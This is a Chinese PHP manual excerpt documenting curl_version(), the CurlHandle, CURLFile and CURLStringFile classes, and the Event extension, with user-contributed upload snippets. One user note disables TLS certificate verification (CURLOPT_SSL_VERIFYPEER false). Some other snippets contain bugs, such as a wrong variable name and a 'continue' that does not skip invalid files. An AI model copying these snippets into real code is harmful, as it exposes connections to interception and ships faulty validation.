返回关联数组，包含如下元素：

键 | 值描述
version_number | cURL 24 位版本号
version | cURL 版本号，字符串形式
ssl_version_number | OpenSSL 24 位版本号
ssl_version | OpenSSL 版本号，字符串形式
libz_version | zlib 版本号，字符串形式
host | 关于编译cURL主机的信息
age |
features | 一个CURL_VERSION_XXX常量的位掩码
protocols | 数组，包含 cURL 支持的协议名称

更新日志

版本 | 说明
8.0.0 | 移除可选的 age 参数。
7.4.0 | 弃用可选的 age 参数，如果传递值，则忽略。

示例

Example #1 curl_version() 示例

这个示例将会检查当前 cURL 版本使用 curl_version() 返回的"features"位掩码中哪些特性是可用的。

<?php
// 获取cURL版本数组
$version = curl_version();

// 在cURL编译版本中使用位域来检查某些特性
$bitfields = Array(
'CURL_VERSION_IPV6',
'CURL_VERSION_KERBEROS4',
'CURL_VERSION_SSL',
'CURL_VERSION_LIBZ'
);

foreach($bitfields as $feature)
{
echo $feature . ($version['features'] & constant($feature) ? ' matches' : ' does not match');
echo PHP_EOL;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


CurlHandle 类

(PHP 8)

简介

从 PHP 8.0.0 开始替换 curl 资源的完全不透明类。

类摘要

final class CurlHandle {
}

User Contributed Notes

There are no user contributed notes for this page.


CurlMultiHandle 类

(PHP 8)

简介

从 PHP 8.0.0 开始替换 curl_multi 资源的完全不透明类。

类摘要

final class CurlMultiHandle {
}

User Contributed Notes

There are no user contributed notes for this page.


CurlShareHandle 类

(PHP 8)

简介

从 PHP 8.0.0 开始替换 curl_share 资源的完全不透明类。

类摘要

final class CurlShareHandle {
}

User Contributed Notes

There are no user contributed notes for this page.


CURLFile 类

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

此类或 CURLStringFile 应该与 CURLOPT_POSTFIELDS 一同使用用于上传文件。

不允许反序列化 CURLFile 实例。自 PHP 7.4.0 起，首先禁止序列化。

类摘要

class CURLFile {
/* 属性 */
public string $name = "";
public string $mime = "";
public string $postname = "";
/* 方法 */
public __construct(string $filename, ?string $mime_type = null, ?string $posted_filename = null)
public getFilename(): string
public getMimeType(): string
public getPostFilename(): string
public setMimeType(string $mime_type): void
public setPostFilename(string $posted_filename): void
}

属性

name

待上传的文件名。

mime

文件的 MIME 类型（默认是 application/octet-stream）。

postname

上传数据中的文件名（默认为 name 属性）。

参见

  • curl_setopt()
  • CURLStringFile

Table of Contents

  • CURLFile::__construct — 创建 CURLFile 对象
  • CURLFile::getFilename — 获取文件名
  • CURLFile::getMimeType — 获取 MIME 类型
  • CURLFile::getPostFilename — 获取 POST 请求时的文件名
  • CURLFile::setMimeType — 设置 MIME 类型
  • CURLFile::setPostFilename — 设置 POST 请求时的文件名

User Contributed Notes

php at miknik dot co dot uk 27-Mar-2018 09:46
Simple function to construct CURLFile from the file path:

function makeCurlFile($file){
$mime = mime_content_type($file);
$info = pathinfo($file);
$name = $info['basename'];
$output = new CURLFile($file, $mime, $name);
return $output;
}

Then construct an array of all the form fields you want to post. For each file upload just add the CURLFiles.

$ch = curl_init("https://api.example.com");
$mp3 =makeCurlFile($audio);
$photo = makeCurlFile($picture);
$data = array('mp3' => $mp3, 'picture' => $photo, 'name' => 'My latest single', 'description' => 'Check out my newest song');
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
if (curl_errno($ch)) {
   $result = curl_error($ch);
}
curl_close ($ch);
ohcc at 163 dot com 04-Dec-2017 06:23
This is how to upload two or more files at once with cURLFile.

With modern browser support, you can upload many files at one time if the multiple attribute is given.

<input type="file" name="file[]" muliple />

With outdated browser you can place many input elements to do that.

<input type="file" name="file[]" />
<input type="file" name="file[]" />
<input type="file" name="file[]" />

Here's the php code to handle multiple uploads.

<?php
    $cURLHandle = curl_init();
    // ... more code ...
    $postFields = array(
        'file[0]' => new cURLFile($file1, $mimetype1, $basename1),
        'file[1]' => new cURLFile($file2, $mimetype2, $basename2)
    )

    curl_setopt($cURLHandle, CURLOPT_POSTFIELDS, $fields);

    // ... more code ...
?>
Each file's mimetype can be determined by finfo, and its basename can be fetched from $_FILES if it is uploaded from the client-end or by pathinfo() if it is locally stored.

Don't leave the square brackets in ''file[0]'' empty like 'file[]', in that way only the last file will be received by the remote server.
humbads at gmail dot com 02-Sep-2015 02:13
// For backward compatibility,
// convert @ prefixed file names to CurlFile class
// since @ prefix is deprecated as of PHP 5.6
if(is_array($postfields) == true)
{
    // Check each post field
    foreach($postfields as $key => $value)
    {
        // Convert values for keys starting with '@' prefix
        if(strpos($value, '@') === 0)
        {
            // Get the file name
            $filename = ltrim($value, '@');
            // Convert the value to the new class
            $postfields[$key] = new CURLFile($filename);
        }
    }
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);

This code should be extended if support for the ';type=mimetype' suffix is needed.
alin dot rzv at gmail dot com 18-Aug-2014 01:37
i've seen some downvotes , here is a small example of using curl to upload image .

<?php
$target="http://youraddress.tld/example/upload.php";

# http://php.net/manual/en/curlfile.construct.php

// Create a CURLFile object / procedural method
$cfile = curl_file_create('resource/test.png','image/png','testpic'); // try adding

// Create a CURLFile object / oop method
#$cfile = new CURLFile('resource/test.png','image/png','testpic'); // uncomment and use if the upper procedural method is not working.

// Assign POST data
$imgdata = array('myimage' => $cfile);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $target);
curl_setopt($curl, CURLOPT_USERAGENT,'Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15');
curl_setopt($curl, CURLOPT_HTTPHEADER,array('User-Agent: Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.15','Referer: http://someaddress.tld','Content-Type: multipart/form-data'));
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true); // enable posting
curl_setopt($curl, CURLOPT_POSTFIELDS, $imgdata); // post images
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
$r = curl_exec($curl);
curl_close($curl);

?>
CertaiN 04-Jun-2014 04:56
There are "@" issue on multipart POST requests.

Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of "@".

Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change "Content-Type" header by yourself.

The following snippet will help you :D

<?php

/**
 * For safe multipart POST request for PHP5.3 ~ PHP 5.4.
 *
 * @param resource $ch cURL resource
 * @param array $assoc "name => value"
 * @param array $files "name => path"
 * @return bool
 */
function curl_custom_postfields($ch, array $assoc = array(), array $files = array()) {

    // invalid characters for "name" and "filename"
    static $disallow = array("\0", "\"", "\r", "\n");

    // build normal parameters
    foreach ($assoc as $k => $v) {
        $k = str_replace($disallow, "_", $k);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"",
            "",
            filter_var($v),
        ));
    }

    // build file parameters
    foreach ($files as $k => $v) {
        switch (true) {
            case false === $v = realpath(filter_var($v)):
            case !is_file($v):
            case !is_readable($v):
                continue; // or return false, throw new InvalidArgumentException
        }
        $data = file_get_contents($v);
        $v = call_user_func("end", explode(DIRECTORY_SEPARATOR, $v));
        $k = str_replace($disallow, "_", $k);
        $v = str_replace($disallow, "_", $v);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"; filename=\"{$v}\"",
            "Content-Type: application/octet-stream",
            "",
            $data,
        ));
    }

    // generate safe boundary
    do {
        $boundary = "---------------------" . md5(mt_rand() . microtime());
    } while (preg_grep("/{$boundary}/", $body));

    // add boundary for each parameters
    array_walk($body, function (&$part) use ($boundary) {
        $part = "--{$boundary}\r\n{$part}";
    });

    // add final boundary
    $body[] = "--{$boundary}--";
    $body[] = "";

    // set options
    return @curl_setopt_array($ch, array(
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => implode("\r\n", $body),
        CURLOPT_HTTPHEADER => array(
            "Expect: 100-continue",
            "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
        ),
    ));
}

?>


创建 CURLFile 对象

  • ? CURLFile
  • CURLFile::getFilename ?
  • PHP Manual
  • CURLFile
  • 创建 CURLFile 对象

CURLFile::__construct

curl_file_create

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::__construct -- curl_file_create — 创建 CURLFile 对象

说明

面向对象风格

public CURLFile::__construct(string $filename, ?string $mime_type = null, ?string $posted_filename = null)

过程化风格

curl_file_create(string $filename, ?string $mime_type = null, ?string $posted_filename = null): CURLFile

创建 CURLFile 对象，用于使用 CURLOPT_POSTFIELDS 选项上传文件。

参数

filename

被上传文件的 路径。

mime_type

被上传文件的 MIME 类型。

posted_filename

上传数据里面的文件名。

返回值

返回 CURLFile 对象。

更新日志

版本 | 说明
8.0.0 | mime_type 和 posted_filename 现在可以为 null；之前它们的默认值是 0。

示例

Example #1 CURLFile::__construct() 示例

面向对象风格

<?php
/* http://example.com/upload.php:
<?php var_dump($_FILES); ?>
*/

// Create a cURL handle
$ch = curl_init('http://example.com/upload.php');

// Create a CURLFile object
$cfile = new CURLFile('cats.jpg','image/jpeg','test_name');

// Assign POST data
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// Execute the handle
curl_exec($ch);
?>

过程化风格

<?php
/* http://example.com/upload.php:
<?php var_dump($_FILES); ?>
*/

// Create a cURL handle
$ch = curl_init('http://example.com/upload.php');

// Create a CURLFile object
$cfile = curl_file_create('cats.jpg','image/jpeg','test_name');

// Assign POST data
$data = array('test_file' => $cfile);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// Execute the handle
curl_exec($ch);
?>

以上示例会输出：

array(1) {
  ["test_file"]=>
  array(5) {
    ["name"]=>
    string(9) "test_name"
    ["type"]=>
    string(10) "image/jpeg"
    ["tmp_name"]=>
    string(14) "/tmp/phpPC9Kbx"
    ["error"]=>
    int(0)
    ["size"]=>
    int(46334)
  }
}

Example #2 CURLFile::__construct() 上传多文件示例

面向对象风格

<?php
$request = curl_init('http://www.example.com/upload.php');
curl_setopt($request, CURLOPT_POST, true);
curl_setopt($request, CURLOPT_SAFE_UPLOAD, true);
curl_setopt($request, CURLOPT_POSTFIELDS, [
'blob[0]' => new CURLFile(realpath('first-file.jpg'), 'image/jpeg'),
'blob[1]' => new CURLFile(realpath('second-file.txt'), 'text/plain'),
'blob[2]' => new CURLFile(realpath('third-file.exe'), 'application/octet-stream'),
]);
curl_setopt($request, CURLOPT_RETURNTRANSFER, true);

echo curl_exec($request);

var_dump(curl_getinfo($request));

curl_close($request);

过程化风格

<?php
// procedural
$request = curl_init('http://www.example.com/upload.php');
curl_setopt($request, CURLOPT_POST, true);
curl_setopt($request, CURLOPT_SAFE_UPLOAD, true);
curl_setopt($request, CURLOPT_POSTFIELDS, [
'blob[0]' => curl_file_create(realpath('first-file.jpg'), 'image/jpeg'),
'blob[1]' => curl_file_create(realpath('second-file.txt'), 'text/plain'),
'blob[2]' => curl_file_create(realpath('third-file.exe'), 'application/octet-stream'),
]);
curl_setopt($request, CURLOPT_RETURNTRANSFER, true);

echo curl_exec($request);

var_dump(curl_getinfo($request));

curl_close($request);

以上示例会输出：

array(26) {
  ["url"]=>
  string(31) "http://www.example.com/upload.php"
  ["content_type"]=>
  string(24) "text/html; CHARSET=gb2312"
  ["http_code"]=>
  int(200)
  ["header_size"]=>
  int(198)
  ["request_size"]=>
  int(196)
  ["filetime"]=>
  int(-1)
  ["ssl_verify_result"]=>
  int(0)
  ["redirect_count"]=>
  int(0)
  ["total_time"]=>
  float(0.060062)
  ["namelookup_time"]=>
  float(0.028575)
  ["connect_time"]=>
  float(0.029011)
  ["pretransfer_time"]=>
  float(0.029121)
  ["size_upload"]=>
  float(3230730)
  ["size_download"]=>
  float(811)
  ["speed_download"]=>
  float(13516)
  ["speed_upload"]=>
  float(53845500)
  ["download_content_length"]=>
  float(811)
  ["upload_content_length"]=>
  float(3230730)
  ["starttransfer_time"]=>
  float(0.030355)
  ["redirect_time"]=>
  float(0)
  ["redirect_url"]=>
  string(0) ""
  ["primary_ip"]=>
  string(13) "0.0.0.0"
  ["certinfo"]=>
  array(0) {
  }
  ["primary_port"]=>
  int(80)
  ["local_ip"]=>
  string(12) "0.0.0.0"
  ["local_port"]=>
  int(34856)
}

参见

  • curl_setopt() - 设置 cURL 传输选项

User Contributed Notes

CertaiN 04-Jun-2014 04:55
There are "@" issue on multipart POST requests.

Solution for PHP 5.5 or later:
- Enable CURLOPT_SAFE_UPLOAD.
- Use CURLFile instead of "@".

Solution for PHP 5.4 or earlier:
- Build up multipart content body by youself.
- Change "Content-Type" header by yourself.

The following snippet will help you :D

<?php

/**
 * For safe multipart POST request for PHP5.3 ~ PHP 5.4.
 *
 * @param resource $ch cURL resource
 * @param array $assoc "name => value"
 * @param array $files "name => path"
 * @return bool
 */
function curl_custom_postfields($ch, array $assoc = array(), array $files = array()) {

    // invalid characters for "name" and "filename"
    static $disallow = array("\0", "\"", "\r", "\n");

    // build normal parameters
    foreach ($assoc as $k => $v) {
        $k = str_replace($disallow, "_", $k);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"",
            "",
            filter_var($v),
        ));
    }

    // build file parameters
    foreach ($files as $k => $v) {
        switch (true) {
            case false === $v = realpath(filter_var($v)):
            case !is_file($v):
            case !is_readable($v):
                continue; // or return false, throw new InvalidArgumentException
        }
        $data = file_get_contents($v);
        $v = call_user_func("end", explode(DIRECTORY_SEPARATOR, $v));
        $k = str_replace($disallow, "_", $k);
        $v = str_replace($disallow, "_", $v);
        $body[] = implode("\r\n", array(
            "Content-Disposition: form-data; name=\"{$k}\"; filename=\"{$v}\"",
            "Content-Type: application/octet-stream",
            "",
            $data,
        ));
    }

    // generate safe boundary
    do {
        $boundary = "---------------------" . md5(mt_rand() . microtime());
    } while (preg_grep("/{$boundary}/", $body));

    // add boundary for each parameters
    array_walk($body, function (&$part) use ($boundary) {
        $part = "--{$boundary}\r\n{$part}";
    });

    // add final boundary
    $body[] = "--{$boundary}--";
    $body[] = "";

    // set options
    return @curl_setopt_array($ch, array(
        CURLOPT_POST       => true,
        CURLOPT_POSTFIELDS => implode("\r\n", $body),
        CURLOPT_HTTPHEADER => array(
            "Expect: 100-continue",
            "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
        ),
    ));
}

?>
mipa 04-Mar-2014 08:33
For PHP < 5.5:

<?php

if (!function_exists('curl_file_create')) {
    function curl_file_create($filename, $mimetype = '', $postname = '') {
        return "@$filename;filename="
            . ($postname ?: basename($filename))
            . ($mimetype ? ";type=$mimetype" : '');
    }
}

?>


获取文件名

  • ? CURLFile::__construct
  • CURLFile::getMimeType ?
  • PHP Manual
  • CURLFile
  • 获取文件名

CURLFile::getFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getFilename — 获取文件名

说明

public CURLFile::getFilename(): string

参数

此函数没有参数。

返回值

返回文件名。

User Contributed Notes

There are no user contributed notes for this page.


获取 MIME 类型

  • ? CURLFile::getFilename
  • CURLFile::getPostFilename ?
  • PHP Manual
  • CURLFile
  • 获取 MIME 类型

CURLFile::getMimeType

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getMimeType — 获取 MIME 类型

说明

public CURLFile::getMimeType(): string

参数

此函数没有参数。

返回值

返回 MIME 类型。

User Contributed Notes

There are no user contributed notes for this page.


获取 POST 请求时的文件名

  • ? CURLFile::getMimeType
  • CURLFile::setMimeType ?
  • PHP Manual
  • CURLFile
  • 获取 POST 请求时的文件名

CURLFile::getPostFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::getPostFilename — 获取 POST 请求时的文件名

说明

public CURLFile::getPostFilename(): string

参数

此函数没有参数。

返回值

返回 POST 请求时的文件名。

User Contributed Notes

There are no user contributed notes for this page.


设置 MIME 类型

  • ? CURLFile::getPostFilename
  • CURLFile::setPostFilename ?
  • PHP Manual
  • CURLFile
  • 设置 MIME 类型

CURLFile::setMimeType

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::setMimeType — 设置 MIME 类型

说明

public CURLFile::setMimeType(string $mime_type): void

参数

mime_type

POST 数据中的 MIME 类型。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


设置 POST 请求时的文件名

  • ? CURLFile::setMimeType
  • CURLStringFile ?
  • PHP Manual
  • CURLFile
  • 设置 POST 请求时的文件名

CURLFile::setPostFilename

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

CURLFile::setPostFilename — 设置 POST 请求时的文件名

说明

public CURLFile::setPostFilename(string $posted_filename): void

参数

posted_filename

POST 数据里使用的文件名。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


CURLStringFile 类

(PHP 8 >= 8.1.0)

简介

CURLStringFile 能够直接把一个变量作为文件上传。 这与 CURLFile 用法比较相似，但是它使用的是文件的内容，而不是文件名。 这个类或者 CURLFile 都需要和 CURLOPT_POSTFIELDS 参数一同使用以上传文件。

类摘要

class CURLStringFile {
/* 属性 */
public string $data;
public string $postname;
public string $mime;
/* 方法 */
public __construct(string $data, string $postname, string $mime = "application/octet-stream")
}

属性

data

待上传的内容

postname

上传数据中的文件名称

mime

文件的 MIME 类型（默认为 application/octet-stream）。

参见

  • curl_setopt()
  • CURLFile

Table of Contents

  • CURLStringFile::__construct — 创建 CURLStringFile 对象

User Contributed Notes

There are no user contributed notes for this page.


创建 CURLStringFile 对象

  • ? CURLStringFile
  • Event ?
  • PHP Manual
  • CURLStringFile
  • 创建 CURLStringFile 对象

CURLStringFile::__construct

(PHP 8 >= 8.1.0)

CURLStringFile::__construct — 创建 CURLStringFile 对象

说明

public CURLStringFile::__construct(string $data, string $postname, string $mime = "application/octet-stream")

创建 CURLStringFile 对象，使用 CURLOPT_POSTFIELDS 选项上传文件。

参数

data

待上传的内容。

postname

上传数据中的文件名称。

mime

文件的 MIME 类型（默认为 application/octet-stream）。

示例

Example #1 CURLStringFile::__construct() 示例

<?php
/* http://example.com/upload.php:
<?php
var_dump($_FILES);
var_dump(file_get_contents($_FILES['test_string']['tmp_name']));
?>
*/

// 创建一个 cURL 句柄
$ch = curl_init('http://example.com/upload.php');

// 创建一个 CURLStringFile 对象
$cstringfile = new CURLStringFile('test upload contents','test.txt','text/plain');

// 指定 POST 内容
$data = array('test_string' => $cstringfile);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

// 执行句柄
curl_exec($ch);
?>

以上示例会输出：

array(1) {
  ["test_string"]=>
  array(5) {
    ["name"]=>
    string(8) "test.txt"
    ["type"]=>
    string(10) "text/plain"
    ["tmp_name"]=>
    string(14) "/tmp/phpTtaoCz"
    ["error"]=>
    int(0)
    ["size"]=>
    int(20)
  }
}
string(20) "test upload contents"

参见

  • curl_setopt() - 设置 cURL 传输选项

User Contributed Notes

inmarket 02-May-2023 06:55
Note that the $postname and $mimetype parameters are in the reverse order to the CURLFile::__construct function.


Event

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 示例
  • Event flags
  • About event persistence
  • Event callbacks
  • Constructing signal events
  • Event — The Event class
    • Event::add — Makes event pending
    • Event::addSignal — 别名 Event::add
    • Event::addTimer — 别名 Event::add
    • Event::__construct — Constructs Event object
    • Event::del — Makes event non-pending
    • Event::delSignal — 别名 Event::del
    • Event::delTimer — 别名 Event::del
    • Event::free — Make event non-pending and free resources allocated for this event
    • Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent
    • Event::pending — Detects whether event is pending or scheduled
    • Event::set — Re-configures event
    • Event::setPriority — Set event priority
    • Event::setTimer — Re-configures timer event
    • Event::signal — Constructs signal event object
    • Event::timer — Constructs timer event object
  • EventBase — The EventBase class
    • EventBase::__construct — 构造 EventBase 对象
    • EventBase::dispatch — Dispatch pending events
    • EventBase::exit — Stop dispatching events
    • EventBase::free — Free resources allocated for this event base
    • EventBase::getFeatures — Returns bitmask of features supported
    • EventBase::getMethod — Returns event method in use
    • EventBase::getTimeOfDayCached — Returns the current event base time
    • EventBase::gotExit — Checks if the event loop was told to exit
    • EventBase::gotStop — Checks if the event loop was told to exit
    • EventBase::loop — Dispatch pending events
    • EventBase::priorityInit — Sets number of priorities per event base
    • EventBase::reInit — Re-initialize event base(after a fork)
    • EventBase::stop — Tells event_base to stop dispatching events
  • EventBuffer — The EventBuffer class
    • EventBuffer::add — Append data to the end of an event buffer
    • EventBuffer::addBuffer — Move all data from a buffer provided to the current instance of EventBuffer
    • EventBuffer::appendFrom — Moves the specified number of bytes from a source buffer to the end of the current buffer
    • EventBuffer::__construct — Constructs EventBuffer object
    • EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer
    • EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere
    • EventBuffer::enableLocking — 说明
    • EventBuffer::expand — Reserves space in buffer
    • EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding
    • EventBuffer::lock — Acquires a lock on buffer
    • EventBuffer::prepend — Prepend data to the front of the buffer
    • EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer
    • EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string
    • EventBuffer::read — Read data from an evbuffer and drain the bytes read
    • EventBuffer::readFrom — Read data from a file onto the end of the buffer
    • EventBuffer::readLine — Extracts a line from the front of the buffer
    • EventBuffer::search — Scans the buffer for an occurrence of a string
    • EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line
    • EventBuffer::substr — Substracts a portion of the buffer data
    • EventBuffer::unfreeze — Re-enable calls that modify an event buffer
    • EventBuffer::unlock — Releases lock acquired by EventBuffer::lock
    • EventBuffer::write — Write contents of the buffer to a file or socket
  • EventBufferEvent — The EventBufferEvent class
    • EventBufferEvent::close — Closes file descriptor associated with the current buffer event
    • EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket
    • EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving
    • EventBufferEvent::__construct — Constructs EventBufferEvent object
    • EventBufferEvent::createPair — Creates two buffer events connected to each other
    • EventBufferEvent::disable — Disable events read, write, or both on a buffer event
    • EventBufferEvent::enable — Enable events read, write, or both on a buffer event
    • EventBufferEvent::free — Free a buffer event
    • EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt
    • EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event
    • EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event
    • EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event
    • EventBufferEvent::read — Read buffer's data
    • EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf
    • EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks
    • EventBufferEvent::setPriority — Assign a priority to a bufferevent
    • EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event
    • EventBufferEvent::setWatermark — Adjusts read and/or write watermarks
    • EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event
    • EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event
    • EventBufferEvent::sslGetCipherInfo — Returns a textual description of the cipher
    • EventBufferEvent::sslGetCipherName — Returns the current cipher name of the SSL connection
    • EventBufferEvent::sslGetCipherVersion — Returns version of cipher used by current SSL connection
    • EventBufferEvent::sslGetProtocol — Returns the name of the protocol used for current SSL connection
    • EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation
    • EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket
    • EventBufferEvent::write — Adds data to a buffer event's output buffer
    • EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer
  • About buffer event callbacks
  • EventConfig — EventConfig 类
    • EventConfig::avoidMethod — 告诉 libevent 避免使用指定 event 方法
    • EventConfig::__construct — EventConfig 构造函数
    • EventConfig::requireFeatures — 输入应用程序要求的必需 event 方法功能
    • EventConfig::setFlags — EventBase 初始化需设置的一个或者多个 flag
    • EventConfig::setMaxDispatchInterval — 防止优先级反转
  • EventDnsBase — The EventDnsBase class
    • EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base
    • EventDnsBase::addSearch — Adds a domain to the list of search domains
    • EventDnsBase::clearSearch — Removes all current search suffixes
    • EventDnsBase::__construct — Constructs EventDnsBase object
    • EventDnsBase::countNameservers — Gets the number of configured nameservers
    • EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file
    • EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file
    • EventDnsBase::setOption — Set the value of a configuration option
    • EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches
  • EventHttp — The EventHttp class
    • EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource
    • EventHttp::addServerAlias — Adds a server alias to the HTTP server object
    • EventHttp::bind — Binds an HTTP server on the specified address and port
    • EventHttp::__construct — Constructs EventHttp object(the HTTP server)
    • EventHttp::removeServerAlias — Removes server alias
    • EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks
    • EventHttp::setCallback — Sets a callback for specified URI
    • EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks
    • EventHttp::setMaxBodySize — Sets maximum request body size
    • EventHttp::setMaxHeadersSize — Sets maximum HTTP header size
    • EventHttp::setTimeout — Sets the timeout for an HTTP request
  • EventHttpConnection — The EventHttpConnection class
    • EventHttpConnection::__construct — Constructs EventHttpConnection object
    • EventHttpConnection::getBase — Returns event base associated with the connection
    • EventHttpConnection::getPeer — Gets the remote address and port associated with the connection
    • EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection
    • EventHttpConnection::setCloseCallback — Set callback for connection close
    • EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made
    • EventHttpConnection::setLocalPort — Sets the local port from which connections are made
    • EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection
    • EventHttpConnection::setMaxHeadersSize — Sets maximum header size
    • EventHttpConnection::setRetries — Sets the retry limit for the connection
    • EventHttpConnection::setTimeout — Sets the timeout for the connection
  • EventHttpRequest — The EventHttpRequest class
    • EventHttpRequest::addHeader — Adds an HTTP header to the headers of the request
    • EventHttpRequest::cancel — Cancels a pending HTTP request
    • EventHttpRequest::clearHeaders — Removes all output headers from the header list of the request
    • EventHttpRequest::closeConnection — Closes associated HTTP connection
    • EventHttpRequest::__construct — Constructs EventHttpRequest object
    • EventHttpRequest::findHeader — Finds the value belonging a header
    • EventHttpRequest::free — Frees the object and removes associated events
    • EventHttpRequest::getBufferEvent — Returns EventBufferEvent object
    • EventHttpRequest::getCommand — Returns the request command(method)
    • EventHttpRequest::getConnection — Returns EventHttpConnection object
    • EventHttpRequest::getHost — Returns the request host
    • EventHttpRequest::getInputBuffer — Returns the input buffer
    • EventHttpRequest::getInputHeaders — Returns associative array of the input headers
    • EventHttpRequest::getOutputBuffer — Returns the output buffer of the request
    • EventHttpRequest::getOutputHeaders — Returns associative array of the output headers
    • EventHttpRequest::getResponseCode — Returns the response code
    • EventHttpRequest::getUri — Returns the request URI
    • EventHttpRequest::removeHeader — Removes an HTTP header from the headers of the request
    • EventHttpRequest::sendError — Send an HTML error message to the client
    • EventHttpRequest::sendReply — Send an HTML reply to the client
    • EventHttpRequest::sendReplyChunk — Send another data chunk as part of an ongoing chunked reply
    • EventHttpRequest::sendReplyEnd — Complete a chunked reply, freeing the request as appropriate
    • EventHttpRequest::sendReplyStart — Initiate a chunked reply
  • EventListener — The EventListener class
    • EventListener::__construct — Creates new connection listener associated with an event base
    • EventListener::disable — Disables an event connect listener object
    • EventListener::enable — Enables an event connect listener object
    • EventListener::getBase — Returns event base associated with the event listener
    • EventListener::getSocketName — Retreives the current address to which the listener's socket is bound
    • EventListener::setCallback — The setCallback purpose
    • EventListener::setErrorCallback — Set event listener's error callback
  • EventSslContext — The EventSslContext class
    • EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes
  • EventUtil — The EventUtil class
    • EventUtil::__construct — The abstract constructor
    • EventUtil::getLastSocketErrno — Returns the most recent socket error number
    • EventUtil::getLastSocketError — Returns the most recent socket error
    • EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream
    • EventUtil::getSocketName — Retreives the current address to which the socket is bound
    • EventUtil::setSocketOption — Sets socket options
    • EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

User Contributed Notes

grzegorz129 at gmail dot com 26-Nov-2016 09:14
Stubs / headers for this library are available in IDE-agnostic format on GitHub: https://github.com/kiler129/pecl-event-stubs


简介

This is an extension to efficiently schedule I/O, time and signal based events using the best I/O notification mechanism available for specific platform. This is a port of libevent to the PHP infrastructure.

Note:

Note, Windows support introduced in event-1.9.0 .

Version 1.0.0 introduces new object-oriented API (breaking backwards compatibility), and support of libevent 2+ including HTTP, DNS, OpenSSL and the event listener.

Note:

Note, event-1.0.0 and greater is not compatible with previous versions.

User Contributed Notes

AoK 16-May-2014 04:06
PHP event service works at PHP 5.4+.  Couldn't get event to work on a PHP 5.3.10 install.

To get event working (OS X as an example):
1. brew install libevent
2. sudo pecl install event

This is tricky because pecl yields both "event" and "libevent" packages.  I was successful with "event" and not "libevent".


需求

This extension requires » libevent library. Most modern distributions provide packages for libevent.

OpenSSL features require » OpenSSL library.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

